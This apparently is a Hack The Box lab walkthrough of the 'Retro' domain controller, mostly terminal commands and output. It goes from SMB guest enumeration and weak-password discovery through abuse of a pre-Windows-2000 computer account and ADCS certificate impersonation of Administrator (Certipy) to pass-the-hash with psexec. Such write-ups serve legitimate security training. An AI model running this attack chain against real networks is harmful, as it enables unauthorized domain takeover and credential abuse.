1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
| ares@legion:~/Documents$ sudo nmap -sVC -A -T4 --min-rate 1000 10.129.234.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 14:18 EST
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 8.33% done; ETC: 14:19 (0:01:06 remaining)
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 16.67% done; ETC: 14:18 (0:00:30 remaining)
Nmap scan report for 10.129.234.44 (10.129.234.44)
Host is up (0.055s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-25 19:18:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-11-25T18:54:12
|_Not valid after: 2026-11-25T18:54:12
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-11-25T18:54:12
|_Not valid after: 2026-11-25T18:54:12
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-11-25T18:54:12
|_Not valid after: 2026-11-25T18:54:12
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-11-25T18:54:12
|_Not valid after: 2026-11-25T18:54:12
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-11-25T19:19:55+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: RETRO
| NetBIOS_Domain_Name: RETRO
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: retro.vl
| DNS_Computer_Name: DC.retro.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-11-25T19:19:15+00:00
| ssl-cert: Subject: commonName=DC.retro.vl
| Not valid before: 2025-11-24T19:03:21
|_Not valid after: 2026-05-26T19:03:21
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-11-25T19:19:17
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 55.20 ms 10.10.14.1 (10.10.14.1)
2 55.26 ms 10.129.234.44 (10.129.234.44)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.77 seconds
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| ares@legion:~/HackTheBox/Retro$ netexec smb $target -u 'guest' -p '' --shares
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\guest:
SMB 10.129.234.44 445 DC [*] Enumerated shares
SMB 10.129.234.44 445 DC Share Permissions Remark
SMB 10.129.234.44 445 DC ----- ----------- ------
SMB 10.129.234.44 445 DC ADMIN$ Remote Admin
SMB 10.129.234.44 445 DC C$ Default share
SMB 10.129.234.44 445 DC IPC$ READ Remote IPC
SMB 10.129.234.44 445 DC NETLOGON Logon server share
SMB 10.129.234.44 445 DC Notes
SMB 10.129.234.44 445 DC SYSVOL Logon server share
SMB 10.129.234.44 445 DC Trainees READ
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| ares@legion:~/HackTheBox/Retro$ netexec smb $target -u 'guest' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=. EXCLUDE_FILTER='PRINT$','IPC$','SYSVOL','NETLOGON' EXCLUDE_EXTS='lnk','ini','ico'
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\guest:
SPIDER_PLUS 10.129.234.44 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.234.44 445 DC [*] DOWNLOAD_FLAG: True
SPIDER_PLUS 10.129.234.44 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.129.234.44 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$', 'sysvol', 'netlogon']
SPIDER_PLUS 10.129.234.44 445 DC [*] EXCLUDE_EXTS: ['lnk', 'ini', 'ico']
SPIDER_PLUS 10.129.234.44 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.234.44 445 DC [*] OUTPUT_FOLDER: .
SMB 10.129.234.44 445 DC [*] Enumerated shares
SMB 10.129.234.44 445 DC Share Permissions Remark
SMB 10.129.234.44 445 DC ----- ----------- ------
SMB 10.129.234.44 445 DC ADMIN$ Remote Admin
SMB 10.129.234.44 445 DC C$ Default share
SMB 10.129.234.44 445 DC IPC$ READ Remote IPC
SMB 10.129.234.44 445 DC NETLOGON Logon server share
SMB 10.129.234.44 445 DC Notes
SMB 10.129.234.44 445 DC SYSVOL Logon server share
SMB 10.129.234.44 445 DC Trainees READ
SPIDER_PLUS 10.129.234.44 445 DC [+] Saved share-file metadata to "./10.129.234.44.json".
SPIDER_PLUS 10.129.234.44 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)
SPIDER_PLUS 10.129.234.44 445 DC [*] SMB Readable Shares: 2 (IPC$, Trainees)
SPIDER_PLUS 10.129.234.44 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.129.234.44 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.129.234.44 445 DC [*] Total files found: 0
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| ares@legion:~/HackTheBox/Retro$ ls
10.129.234.44.json
ares@legion:~/HackTheBox/Retro$ cat 10.129.234.44.json
{
"Trainees": {}
}
ares@legion:~/HackTheBox/Retro$ smbclient //$target/"Trainees" -U guest
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \Important.txt of size 288 as Important.txt (1.3 KiloBytes/sec) (average 1.3 KiloBytes/sec)
smb: \> exit
ares@legion:~/HackTheBox/Retro$ cat Important.txt
Dear Trainees,
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
Regards
The Admins
|
1
2
3
4
5
6
7
8
9
10
11
| ares@legion:~/HackTheBox/Retro$ cat ToDo.txt
Thomas,
after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.
Best
James
|
trainee/trainee
1
2
3
4
5
6
7
8
9
10
| ares@legion:~/HackTheBox/Retro$ netexec smb $target -u 'guest' -p '' --rid-brute | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f2 | tee userlist2.txt
Administrator
Guest
krbtgt
DC$
trainee
BANKING$
jburley
tblack
|
https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers BANKING$/banking
Change password
1
| ares@legion:~/HackTheBox/Retro$ impacket-changepasswd retro.vl/'banking$':banking@$target -newpass 'beer1!' -p rpc-samr
|
Validate password change
1
| ares@legion:~/HackTheBox/Retro$ crackmapexec smb $target -u 'banking$' -p 'beer1!'
|
More enum with valid logon creds
1
2
3
4
5
6
7
8
| ares@legion:~/HackTheBox/Retro$ nxc ldap $target -u "banking$" -p 'beer1!' -M adcs
LDAP 10.129.47.169 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl)
LDAP 10.129.47.169 389 DC [+] retro.vl\banking$:beer1!
ADCS 10.129.47.169 389 DC [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.129.47.169 389 DC Found PKI Enrollment Server: DC.retro.vl
ADCS 10.129.47.169 389 DC Found CN: retro-DC-CA
|
1
| certipy-ad find -u 'banking$' -p 'beer1!' -dc-ip $target -vulnerable -stdout
|
The CA Name , Template Name and the Minimum RSA Key Length from the Certipy output should be noted. Using these, a new certificate should be requested from the RetroClients template, impersonating the Administrator user (no sid)
1
| ares@legion:~/HackTheBox/Retro$ certipy-ad req -u 'banking$' -p 'beer1!' -dc-ip $target -ca retro-DC-CA -template RetroClients -upn Administrator@retro.vl -key-size 4096
|
Misssing SID on authentification:
1
2
3
4
5
6
7
8
9
| ares@legion:~/HackTheBox/Retro$ certipy-ad auth -pfx 'administrator.pfx' -username 'Administrator' -domain 'retro.vl' -dc-ip $target
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@retro.vl'
[*] Using principal: 'administrator@retro.vl'
[*] Trying to get TGT...
[-] Object SID mismatch between certificate and user 'administrator'
[-] See the wiki for more information
|
Find SID:
1
2
3
4
5
6
7
8
9
10
11
12
| ares@legion:~/HackTheBox/Retro$ certipy-ad account -u 'banking$' -p 'beer1!' -dc-ip $target -user 'administrator' read
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'Administrator':
cn : Administrator
distinguishedName : CN=Administrator,CN=Users,DC=retro,DC=vl
name : Administrator
objectSid : S-1-5-21-2983547755-698260136-4283918172-500
sAMAccountName : Administrator
userAccountControl : 66048
whenCreated : 2023-07-23T21:07:55+00:00
whenChanged : 2025-05-05T07:11:09+00:00
|
1
| certipy-ad req -u 'banking$' -p 'beer1!' -dc-ip $target -ca retro-DC-CA -template RetroClients -upn Administrator@retro.vl -sid S-1-5-21-2983547755-698260136-4283918172-500 -key-size 4096
|
1
| impacket-psexec retro.vl/Administrator@$target -hashes :252fac7066d93dd009d4fd2cd0368389
|